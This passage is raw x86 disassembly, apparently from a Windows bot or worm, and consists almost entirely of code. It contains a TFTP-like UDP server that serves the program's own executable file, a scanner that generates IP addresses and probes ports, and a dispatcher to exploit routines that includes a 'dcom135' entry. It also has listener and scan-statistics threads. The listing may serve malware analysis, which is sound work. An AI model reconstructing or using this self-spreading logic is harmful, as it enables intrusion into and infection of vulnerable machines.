XREF: sub_406B84+49Fj mov eax, [ebp+arg_0] cmp [eax+2A0h], ebx jz loc_407029 mov [ebp+var_880], edi mov edi, 80h push edi lea eax, [ebp+var_D8] push ebx push eax mov [ebp+var_34], 5 mov [ebp+var_30], 1388h mov [ebp+var_884], 1 call sub_415390 add esp, 0Ch lea eax, [ebp+var_34] push eax push ebx lea eax, [ebp+var_884] push ebx push eax push ebx call dword_43C53C ; select test eax, eax jle loc_40701D mov al, byte_43B188 mov ecx, edi mov [ebp+var_580], al xor eax, eax lea edi, [ebp+var_57F] mov [ebp+var_4], 10h rep stosd stosw stosb mov edi, [ebp+var_10] lea eax, [ebp+var_4] push eax lea eax, [ebp+var_2C] push eax push ebx lea eax, [ebp+var_D8] push 80h push eax push edi call dword_43C52C ; recvfrom push [ebp+var_28] mov [ebp+var_C], eax call dword_43C5E0 ; inet_ntoa push eax lea eax, [ebp+var_58] push eax call sub_415316 cmp [ebp+var_D8], bl pop ecx pop ecx jnz loc_407007 cmp [ebp+var_D7], 1 jnz loc_406F59 lea eax, [ebp+var_274] push eax call sub_415B10 lea eax, [ebp+eax+var_D5] mov [ebp+var_14], eax lea eax, [ebp+var_274] push eax call sub_415B10 push eax lea eax, [ebp+var_D6] push eax lea eax, [ebp+var_274] push eax call sub_416D70 add esp, 14h test eax, eax jnz loc_406F13 lea eax, [ebp+var_1C] push eax call sub_415B10 push eax lea eax, [ebp+var_1C] push [ebp+var_14] push eax call sub_416D70 add esp, 10h test eax, eax jnz loc_406F13 push ebx push ebx push [ebp+var_8] call sub_416CDE push [ebp+var_8] lea eax, [ebp+var_57C] mov [ebp+var_580], bl mov [ebp+var_57F], 3 push esi push 1 push eax mov [ebp+var_57E], bl mov [ebp+var_57D], 1 call sub_416A57 add esp, 1Ch lea ecx, [ebp+var_2C] mov [ebp+var_C], eax add eax, 4 push [ebp+var_4] push ecx push ebx push eax lea eax, [ebp+var_580] push eax push edi call dword_43C5B8 ; sendto lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset unk_427268 loc_406EC7: ; CODE XREF: sub_406B84+47Ej lea eax, [ebp+var_780] push eax call sub_415316 add esp, 10h cmp [ebp+var_E0], ebx jnz short loc_406F01 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_412BD1 add esp, 14h loc_406F01: ; CODE XREF: sub_406B84+358j lea eax, [ebp+var_780] push eax call sub_40B078 pop ecx jmp loc_40701D ; --------------------------------------------------------------------------- loc_406F13: ; CODE XREF: sub_406B84+2B6j ; sub_406B84+2D7j push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 13h push offset dword_427254 push edi call dword_43C5B8 ; sendto lea eax, [ebp+var_274] push eax lea eax, [ebp+var_58] push eax lea eax, [ebp+var_D8] push offset unk_427218 push eax call sub_415316 lea eax, [ebp+var_D8] push eax call sub_40B078 add esp, 14h jmp loc_40701D ; --------------------------------------------------------------------------- loc_406F59: ; CODE XREF: sub_406B84+275j cmp [ebp+var_D7], 4 jnz loc_407007 mov cl, [ebp+var_D5] mov al, [ebp+var_D6] cmp cl, 0FFh mov [ebp+var_580], bl mov [ebp+var_57F], 3 jnz short loc_406F90 inc al xor cl, cl mov [ebp+var_57D], bl jmp short loc_406F98 ; --------------------------------------------------------------------------- loc_406F90: ; CODE XREF: sub_406B84+3FEj inc cl mov [ebp+var_57D], cl loc_406F98: ; CODE XREF: sub_406B84+40Aj mov [ebp+var_57E], al push ebx movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx shl eax, 9 sub eax, esi push eax push [ebp+var_8] call sub_416CDE push [ebp+var_8] lea eax, [ebp+var_57C] push esi push 1 push eax call sub_416A57 add esp, 1Ch mov edi, eax lea eax, [ebp+var_2C] mov [ebp+var_C], edi push [ebp+var_4] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp+var_580] push eax push [ebp+var_10] call dword_43C5B8 ; sendto cmp edi, ebx jnz short loc_40701D lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_4271C8 jmp loc_406EC7 ; --------------------------------------------------------------------------- loc_407007: ; CODE XREF: sub_406B84+268j ; sub_406B84+3DCj push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 9 push offset dword_4271B8 push edi call dword_43C5B8 ; sendto loc_40701D: ; CODE XREF: sub_406B84+204j ; sub_406B84+38Aj ... cmp [ebp+var_C], ebx mov edi, [ebp+var_10] jg loc_406D2F loc_407029: ; CODE XREF: sub_406B84+1B4j push edi call dword_43C5EC ; closesocket push [ebp+var_8] call sub_415960 mov esi, [ebp+arg_0] dec [ebp+var_16C] pop ecx cmp [esi+2A0h], ebx jnz short loc_40705D push [ebp+var_170] call sub_4150F0 pop ecx push ebx call dword_421048 ; ExitThread loc_40705D: ; CODE XREF: sub_406B84+4C4j push 3E8h call dword_421060 ; Sleep push esi loc_407069: ; CODE XREF: sub_406B84+123j call sub_406B84 pop edi pop esi pop ebx leave retn 4 sub_406B84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407075 proc near ; CODE XREF: sub_40CD3A+5753p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp loc_407078: ; DATA XREF: seg001:00424DDCo ; seg001:00424DF0o ... sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_427730 push eax xor ebx, ebx call sub_415316 cmp dword_427388, ebx pop ecx pop ecx mov edi, 200h jz short loc_4070E3 push esi mov esi, offset dword_427390 loc_4070A8: ; CODE XREF: sub_407075+6Bj mov eax, [esi] add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset aSD ; " %s: %d," push eax call sub_415316 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_416DB0 add esi, 3Ch add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_4070A8 pop esi loc_4070E3: ; CODE XREF: sub_407075+2Bj push dword_46A9B8 call sub_40A8CF push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_415316 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_416DB0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 lea eax, [ebp+var_200] push eax call sub_40B078 add esp, 38h pop edi pop ebx leave retn sub_407075 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40713F proc near ; CODE XREF: sub_40CD3A+50A5p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 8 call sub_41501C test eax, eax pop ecx jle short loc_40717B mov eax, [ebp+arg_C] push dword_43B1A8[eax*8] call dword_43C5E0 ; inet_ntoa push eax lea eax, [ebp+var_200] push offset unk_42779C push eax call sub_415316 add esp, 0Ch jmp short loc_40718E ; --------------------------------------------------------------------------- loc_40717B: ; CODE XREF: sub_40713F+13j lea eax, [ebp+var_200] push offset unk_427768 push eax call sub_415316 pop ecx pop ecx loc_40718E: ; CODE XREF: sub_40713F+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 lea eax, [ebp+var_200] push eax call sub_40B078 add esp, 18h leave retn sub_40713F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4071B6 proc near ; CODE XREF: sub_4078DF+4Fp var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_407534 imul eax, 3Ch xor ebx, ebx cmp dword_427394[eax], ebx jz loc_407427 push 4 call sub_41501C test eax, eax pop ecx jnz loc_407534 mov eax, dword_42C24C push edi mov edi, offset dword_43BB24 push 104h push edi push ebx mov dword_43BD34, eax mov dword_43BD30, ebx call dword_42107C ; GetModuleFileNameA push 103h mov esi, offset dword_43BC28 push offset byte_42C2BC push esi call sub_416BE0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_43BB20, eax mov eax, [ebp+arg_138] push 7Fh mov dword_43BDB8, eax jnz short loc_407266 lea eax, [ebp+arg_10] push eax push offset dword_43BD38 call sub_416BE0 mov dword_43BDBC, 1 jmp short loc_40727D ; --------------------------------------------------------------------------- loc_407266: ; CODE XREF: sub_4071B6+94j lea eax, [ebp+arg_90] push eax push offset dword_43BD38 call sub_416BE0 mov dword_43BDBC, ebx loc_40727D: ; CODE XREF: sub_4071B6+AEj add esp, 0Ch lea eax, [ebp+var_204] push esi push edi push dword_43BD34 push offset unk_427950 push eax call sub_415316 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_414DDA add esp, 20h mov dword_43BD2C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_43BB20 push offset sub_406B84 push ebx push ebx call dword_42108C ; CreateThread mov ecx, dword_43BD2C imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz loc_40737C call dword_421088 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_427908 push eax call sub_415316 add esp, 0Ch loc_4072FC: ; CODE XREF: sub_4071B6+1CEj lea eax, [ebp+var_204] push eax call sub_40B078 mov edi, offset dword_43C17C mov [esp+210h+var_210], 104h push edi push ebx mov dword_43C388, ebx call dword_42107C ; GetModuleFileNameA push 103h mov esi, offset dword_43C280 push offset byte_42C2BC push esi call sub_416BE0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_43C178, eax mov eax, [ebp+arg_138] push 7Fh mov dword_43C410, eax jnz short loc_407389 lea eax, [ebp+arg_10] push eax push offset dword_43C390 call sub_416BE0 mov dword_43C414, 1 jmp short loc_4073A0 ; --------------------------------------------------------------------------- loc_407374: ; CODE XREF: sub_4071B6+1CCj push 32h call dword_421060 ; Sleep loc_40737C: ; CODE XREF: sub_4071B6+125j cmp dword_43BDC0, ebx jz short loc_407374 jmp loc_4072FC ; --------------------------------------------------------------------------- loc_407389: ; CODE XREF: sub_4071B6+1A2j lea eax, [ebp+arg_90] push eax push offset dword_43C390 call sub_416BE0 mov dword_43C414, ebx loc_4073A0: ; CODE XREF: sub_4071B6+1BCj add esp, 0Ch lea eax, [ebp+var_204] push esi push edi push dword_43C38C push offset dword_4278B0 push eax call sub_415316 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_414DDA add esp, 20h mov dword_43C384, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_43C178 push offset sub_405398 push ebx push ebx call dword_42108C ; CreateThread mov ecx, dword_43C384 pop edi imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_40741A call dword_421088 ; RtlGetLastWin32Error push eax push offset dword_427868 jmp loc_407518 ; --------------------------------------------------------------------------- loc_407412: ; CODE XREF: sub_4071B6+26Aj push 32h call dword_421060 ; Sleep loc_40741A: ; CODE XREF: sub_4071B6+249j cmp dword_43C418, ebx jz short loc_407412 jmp loc_407527 ; --------------------------------------------------------------------------- loc_407427: ; CODE XREF: sub_4071B6+25j cmp dword_427398[eax], ebx jz loc_407534 push 3 call sub_41501C test eax, eax pop ecx jnz loc_407534 mov esi, offset dword_43C054 push 104h push esi push ebx call dword_42107C ; GetModuleFileNameA push 5Ch push esi call sub_416EE0 pop ecx cmp eax, ebx pop ecx jz short loc_407465 mov [eax], bl loc_407465: ; CODE XREF: sub_4071B6+2ABj mov eax, dword_42C250 mov dword_43C16C, ebx mov dword_43C158, eax lea eax, [ebp+arg_10] push eax push offset dword_43BDCC call sub_415316 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_43BDC8, eax mov ecx, [ebp+arg_138] push esi push dword_43C158 mov dword_43C164, ecx mov ecx, [ebp+arg_13C] push eax mov dword_43C168, ecx call sub_40A08A pop ecx push eax lea eax, [ebp+var_204] push offset unk_427818 push eax call sub_415316 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_414DDA add esp, 20h mov dword_43C160, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_43BDC8 push offset sub_405A96 push ebx push ebx call dword_42108C ; CreateThread mov ecx, dword_43C160 imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_407540 call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_4277D0 loc_407518: ; CODE XREF: sub_4071B6+257j lea eax, [ebp+var_204] push eax call sub_415316 add esp, 0Ch loc_407527: ; CODE XREF: sub_4071B6+26Cj ; sub_4071B6+392j lea eax, [ebp+var_204] push eax call sub_40B078 pop ecx loc_407534: ; CODE XREF: sub_4071B6+14j ; sub_4071B6+35j ... pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_407538: ; CODE XREF: sub_4071B6+390j push 32h call dword_421060 ; Sleep loc_407540: ; CODE XREF: sub_4071B6+354j cmp dword_43C174, ebx jz short loc_407538 jmp short loc_407527 sub_4071B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40754A proc near ; CODE XREF: sub_4076CB:loc_40772Dp arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:43B1A8h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_4153F0 add esp, 0Ch push [ebp+arg_0] call dword_43C488 ; ntohl inc eax push eax mov [ebp+arg_0], eax call dword_43C550 ; ntohl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_4153F0 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40754A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407592 proc near ; CODE XREF: sub_4076CB+5Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_415B10 cmp eax, 0Fh pop ecx jbe short loc_4075BA xor eax, eax jmp short loc_40762B ; --------------------------------------------------------------------------- loc_4075BA: ; CODE XREF: sub_407592+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_416947 add esp, 18h cmp [ebp+var_C], esi jnz short loc_4075E7 call sub_415372 mov [ebp+var_C], eax loc_4075E7: ; CODE XREF: sub_407592+4Bj cmp [ebp+var_8], esi jnz short loc_4075F4 call sub_415372 mov [ebp+var_8], eax loc_4075F4: ; CODE XREF: sub_407592+58j cmp [ebp+var_4], esi jnz short loc_407601 call sub_415372 mov [ebp+var_4], eax loc_407601: ; CODE XREF: sub_407592+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40760D call sub_415372 loc_40760D: ; CODE XREF: sub_407592+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_43B1A8[ecx*8], eax loc_40762B: ; CODE XREF: sub_407592+26j pop esi leave retn sub_407592 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40762E proc near ; CODE XREF: sub_4076CB+A9p ; sub_412A1D+30p var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi xor edi, edi xor ebx, ebx inc edi push ebx push edi push 2 mov [ebp+var_4], edi call dword_43C5D4 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_407657 xor eax, eax jmp short loc_4076C6 ; --------------------------------------------------------------------------- loc_407657: ; CODE XREF: sub_40762E+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_43C554 ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_43C5F0 ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call dword_43C4FC ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_43C53C ; select push esi mov edi, eax call dword_43C5EC ; closesocket xor eax, eax cmp edi, ebx setnle al loc_4076C6: ; CODE XREF: sub_40762E+27j pop edi pop esi pop ebx leave retn sub_40762E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4076CB proc near ; DATA XREF: sub_4078DF+13Bo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call dword_42104C ; GetTickCount push eax call sub_415368 mov ebx, esi pop ecx imul ebx, 234h jmp loc_4078BC ; --------------------------------------------------------------------------- loc_407717: ; CODE XREF: sub_4076CB+1FFj cmp [ebp+var_10], 0 push eax jz short loc_40772D lea eax, [ebp+var_150] push eax call sub_407592 pop ecx jmp short loc_407732 ; --------------------------------------------------------------------------- loc_40772D: ; CODE XREF: sub_4076CB+51j call sub_40754A loc_407732: ; CODE XREF: sub_4076CB+60j pop ecx mov edi, eax push [ebp+arg_0] push dword_4416CC[ebx] push [ebp+var_3C] push edi call dword_43C5E0 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_4279F0 push eax call sub_415316 lea eax, [ebp+var_28C] push eax lea eax, dword_4414C8[ebx] push eax call sub_415316 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40762E add esp, 2Ch cmp eax, 1 jnz loc_4078B1 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_407806 push offset dword_43BB08 call dword_4210B4 ; RtlEnterCriticalSection push [ebp+var_3C] push edi call dword_43C5E0 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_4279B0 push eax call sub_415316 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_4077E8 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_4077DC lea eax, [ebp+var_140] loc_4077DC: ; CODE XREF: sub_4076CB+109j push eax push [ebp+var_40] call sub_412BD1 add esp, 14h loc_4077E8: ; CODE XREF: sub_4076CB+EEj lea eax, [ebp+var_28C] push eax call sub_40B078 mov [esp+2A8h+var_2A8], offset dword_43BB08 call dword_4210B0 ; RtlLeaveCriticalSection jmp loc_4078B1 ; --------------------------------------------------------------------------- loc_407806: ; CODE XREF: sub_4076CB+BEj push edi call dword_43C5E0 ; inet_ntoa push eax lea eax, [ebp+var_208] push eax call sub_415316 mov eax, [ebp+var_20] imul eax, 3Ch add eax, offset aDcom135_0 ; "dcom135" push eax lea eax, [ebp+var_178] push eax call sub_415316 add esp, 10h cmp [ebp+var_C0], 0 lea eax, [ebp+var_C0] jnz short loc_40784A lea eax, [ebp+var_140] loc_40784A: ; CODE XREF: sub_4076CB+177j push eax lea eax, [ebp+var_1F8] push eax call sub_415316 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] mov [ebp+var_15C], eax mov eax, [ebp+var_14] mov [ebp+var_158], eax mov eax, [ebp+var_3C] mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_164], eax imul eax, 3Ch sub esp, 0BCh mov [ebp+var_168], esi lea esi, [ebp+var_20C] push 2Fh pop ecx mov edi, esp rep movsd call off_42738C[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_4078B1: ; CODE XREF: sub_4076CB+B4j ; sub_4076CB+136j push 7D0h call dword_421060 ; Sleep loc_4078BC: ; CODE XREF: sub_4076CB+47j mov eax, dword_4416CC[ebx] cmp dword_43B1AC[eax*8], 0 jnz loc_407717 push esi call sub_4150F0 pop ecx push 0 call dword_421048 ; ExitThread sub_4076CB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078DF proc near ; DATA XREF: sub_40CD3A+3137o ; sub_40CD3A+4D09o var_20C = dword ptr -20Ch var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h xor ebx, ebx pop ecx mov esi, eax lea edi, [ebp+var_14C] inc ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_43C594 ; inet_addr mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_43B1A8[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_4071B6 push 8 call sub_41501C add esp, 150h cmp eax, ebx jnz short loc_4079AD mov esi, offset dword_43BB08 push esi call dword_4210BC ; RtlDeleteCriticalSection push 80000400h push esi call dword_4210B8 ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_4079AD lea eax, [ebp+var_1CC] push offset unk_427B38 push eax call sub_415316 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_407997 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_412BD1 add esp, 14h loc_407997: ; CODE XREF: sub_4078DF+99j lea eax, [ebp+var_1CC] push eax call sub_40B078 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_4079AD: ; CODE XREF: sub_4078DF+63j ; sub_4078DF+7Fj mov eax, [ebp+var_2C] mov esi, dword_421060 mov edi, ebx mov dword_43B1AC[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_407A6F loc_4079CB: ; CODE XREF: sub_4078DF+18Aj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_427AE8 push eax call sub_415316 push ebx lea eax, [ebp+var_1CC] push 8 push eax call sub_414DDA mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_4416CC[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_4076CB push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_407A86 call dword_421088 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_1CC] push offset unk_427A98 push eax call sub_415316 lea eax, [ebp+var_1CC] push eax call sub_40B078 add esp, 10h loc_407A61: ; CODE XREF: sub_4078DF+1ACj push 1Eh call esi ; Sleep inc edi cmp edi, [ebp+var_20] jbe loc_4079CB loc_407A6F: ; CODE XREF: sub_4078DF+E6j cmp [ebp+var_30], ebx jz short loc_407A94 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi ; Sleep jmp short loc_407AA1 ; --------------------------------------------------------------------------- loc_407A82: ; CODE XREF: sub_4078DF+1AAj push 1Eh call esi ; Sleep loc_407A86: ; CODE XREF: sub_4078DF+159j cmp [ebp+var_4], ebx jz short loc_407A82 jmp short loc_407A61 ; --------------------------------------------------------------------------- loc_407A8D: ; CODE XREF: sub_4078DF+1C0j push 7D0h call esi ; Sleep loc_407A94: ; CODE XREF: sub_4078DF+193j mov eax, [ebp+var_2C] cmp dword_43B1AC[eax*8], 1 jz short loc_407A8D loc_407AA1: ; CODE XREF: sub_4078DF+1A1j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_43B1A8[eax*8] push eax call dword_43C5E0 ; inet_ntoa push eax lea eax, [ebp+var_1CC] push offset unk_427A40 push eax call sub_415316 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_407AEF push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_412BD1 add esp, 14h loc_407AEF: ; CODE XREF: sub_4078DF+1F1j lea eax, [ebp+var_1CC] push eax call sub_40B078 mov eax, [ebp+var_2C] mov [esp+20Ch+var_20C], 0BB8h mov dword_43B1AC[eax*8], ebx call esi ; Sleep push 8 call sub_41501C cmp eax, 1 pop ecx jnz short loc_407B26 push offset dword_43BB08 call dword_4210BC ; RtlDeleteCriticalSection loc_407B26: ; CODE XREF: sub_4078DF+23Aj push [ebp+var_2C] call sub_4150F0 pop ecx push ebx call dword_421048 ; ExitThread sub_4078DF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_407B36 proc near ; DATA XREF: sub_40CD3A+3509o var_34C = byte ptr -34Ch var_14C = byte ptr -14Ch var_148 = dword ptr -148h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_14C] rep movsd xor edi, edi push 10h inc edi pop ebx mov [eax+120h], edi xor esi, esi push ebx lea eax, [ebp+var_10] push esi push eax call sub_415390 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_40] call dword_43C554 ; ntohs push 6 push edi push 2 mov [ebp+var_E], ax mov [ebp+var_C], esi mov [ebp+arg_0], ebx call dword_43C5D4 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_407C99 mov eax, [ebp+var_3C] push edi imul eax, 234h push 401h push esi push ebx mov dword_4416D4[eax], ebx call dword_43C470 ; WSAAsyncSelect lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43C580 ; bind test eax, eax jnz loc_407C99 push 0Ah push ebx call dword_43C57C ; listen test eax, eax jnz loc_407C99 loc_407BE0: ; CODE XREF: sub_407B36+BEj ; sub_407B36+15Ej lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_24] push eax push ebx call dword_43C5E8 ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_407BE0 movzx eax, [ebp+var_22] push [ebp+var_3C] mov [ebp+var_148], edi mov [ebp+var_2C], esi push eax push [ebp+var_20] call dword_43C5E0 ; inet_ntoa push eax lea eax, [ebp+var_34C] push offset unk_427BD8 push eax call sub_415316 push edi lea eax, [ebp+var_34C] push 10h push eax call sub_414DDA mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_4416CC[eax], ecx lea eax, [ebp+var_14] push eax lea eax, [ebp+var_14C] push esi push eax push offset sub_407CBD push esi push esi call dword_42108C ; CreateThread mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_4416DC[ecx], eax jnz short loc_407C8F call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_427B88 call sub_40B0EC pop ecx pop ecx jmp short loc_407C9C ; --------------------------------------------------------------------------- loc_407C87: ; CODE XREF: sub_407B36+15Cj push 32h call dword_421060 ; Sleep loc_407C8F: ; CODE XREF: sub_407B36+13Aj cmp [ebp+var_2C], esi jz short loc_407C87 jmp loc_407BE0 ; --------------------------------------------------------------------------- loc_407C99: ; CODE XREF: sub_407B36+61j ; sub_407B36+93j ... mov edi, [ebp+arg_0] loc_407C9C: ; CODE XREF: sub_407B36+14Fj push edi call dword_43C5EC ; closesocket push ebx call dword_43C5EC ; closesocket push [ebp+var_3C] call sub_4150F0 pop ecx push esi call dword_421048 ; ExitThread pop edi pop esi pop ebx sub_407B36 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_407CBD proc 